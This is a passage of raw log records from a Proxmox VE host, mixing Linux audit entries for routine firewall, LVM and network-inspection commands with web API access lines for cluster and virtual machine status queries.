items=1 ppid=1119 pid=63230 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125444,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.444:59689): arch=c000003e syscall=59 success=yes exit=0 a0=5c6452f24ac8 a1=7ffe24e4ed70 a2=5c6454b18680 a3=5c6452f0824e items=2 ppid=57319 pid=57321 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135522,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.522:68585): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65862 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965404116,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781964524698,"@rawstring":"node=pve type=EXECVE msg=audit(1781964524.698:61381): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966135508,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.508:68579): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964805883,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.883:62706): arch=c000003e syscall=59 success=no exit=-2 a0=7ffccd003ec0 a1=55b014cc6310 a2=55b014cbf680 a3=5 items=1 ppid=60160 pid=60161 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965488177,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965488.177:65828): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63230 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125442,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.442:59688): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe24e4ed30 a1=5c6454b3a410 a2=5c6454b18680 a3=5 items=2 ppid=57319 pid=57320 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135515,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.515:68584): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65860 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965404116,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:23 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964524692,"@rawstring":"node=pve type=EXECVE msg=audit(1781964524.692:61378): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966135507,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.507:68578): argc=1 a0=\"date\""} {"@timestamp":1781964805712,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.712:62698): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60154 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485650,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.650:65824): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe6de823f0 a1=5f06d90d31c0 a2=5f06d90b1680 a3=5 items=1 ppid=63223 pid=63224 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125437,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.437:59686): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57319 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135517,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.517:68583): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65861 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965404116,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781964524114,"@rawstring":"node=pve type=EXECVE msg=audit(1781964524.114:61375): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966135503,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.503:68576): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964805711,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.711:62697): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60154 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485549,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.549:65806): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd15149240 a1=5ea40ce92b00 a2=5ea40ce75680 a3=5 items=1 ppid=63204 pid=63205 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125431,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.431:59685): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57318 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135511,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.511:68580): arch=c000003e syscall=59 success=yes exit=0 a0=580230b400a0 a1=580230b3ce20 a2=580230b1e680 a3=5 items=2 ppid=65853 pid=65859 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965402722,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:22 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781964524088,"@rawstring":"node=pve type=EXECVE msg=audit(1781964524.088:61374): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966135496,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.496:68575): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964805705,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.705:62695): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60153 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965483169,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965483.169:65796): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955ab0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63194 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125424,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.424:59684): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc146930 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57317 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135508,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.508:68579): arch=c000003e syscall=59 success=yes exit=0 a0=5801f911bac8 a1=7ffdbec13b70 a2=580230b1e680 a3=5801f90ff24e items=2 ppid=65853 pid=65855 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965402722,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:21 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 919"} {"@timestamp":1781964519762,"@rawstring":"node=pve type=EXECVE msg=audit(1781964519.762:61373): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781966135488,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.488:68574): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964805705,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.705:62694): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60153 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965483168,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965483.168:65795): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955ab0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63194 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125419,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.419:59683): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0cf660 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57316 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135507,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.507:68578): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdbec13b30 a1=580230b25310 a2=580230b1e680 a3=5 items=2 ppid=65853 pid=65854 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965402722,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1082"} {"@timestamp":1781964519761,"@rawstring":"node=pve type=EXECVE msg=audit(1781964519.761:61372): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781966135481,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.481:68573): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964800696,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964800.696:62688): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60146 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965483157,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965483.157:65793): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899559f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63193 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125413,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.413:59682): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc143bf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57315 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135503,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.503:68576): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65853 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965400422,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964519760,"@rawstring":"node=pve type=EXECVE msg=audit(1781964519.760:61371): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781966135473,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.473:68572): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964800696,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964800.696:62687): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60146 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965483156,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965483.156:65792): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899559f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63193 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125407,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.407:59681): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d860 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57314 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135496,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.496:68575): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65852 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965400422,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:19 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 907"} {"@timestamp":1781964519681,"@rawstring":"node=pve type=EXECVE msg=audit(1781964519.681:61370): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966135463,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.463:68571): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964800682,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964800.682:62685): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60145 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965478146,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965478.146:65787): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955930 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63187 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964124223,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964124.223:59680): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b7ea0 a1=64f8d73f1010 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57311 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135488,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.488:68574): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65851 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965400422,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:19 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964519675,"@rawstring":"node=pve type=EXECVE msg=audit(1781964519.675:61367): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966134321,"@rawstring":"node=pve type=EXECVE msg=audit(1781966134.321:68570): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964800682,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964800.682:62684): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60145 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965478146,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965478.146:65786): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955930 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63187 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964124188,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964124.188:59679): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ef210 a1=64f8d73bfab0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57310 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135481,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.481:68573): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae2900 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65850 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965400422,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781964515183,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.183:61364): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966134277,"@rawstring":"node=pve type=EXECVE msg=audit(1781966134.277:68569): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964796120,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.120:62654): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc547576c0 a1=7ffc54757a20 a2=576573fe7520 a3=38b items=1 ppid=60078 pid=60079 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=7 comm=\"env\" exe=\"/usr/bin/env\" subj=unconfined key=\"exec\""} {"@timestamp":1781965478136,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965478.136:65784): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955870 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63186 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964123011,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964123.011:59678): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57309 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135473,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.473:68572): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fce70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65849 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965400422,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781964515180,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.180:61363): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966130511,"@rawstring":"node=pve type=EXECVE msg=audit(1781966130.511:68568): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964796120,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.120:62653): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc547576c0 a1=7ffc54757a20 a2=576573fe7520 a3=38b items=1 ppid=60078 pid=60079 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=7 comm=\"env\" exe=\"/usr/bin/env\" subj=unconfined key=\"exec\""} {"@timestamp":1781965478136,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965478.136:65783): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955870 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63186 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964122999,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964122.999:59675): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57308 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135463,"@rawstring":"node=pve 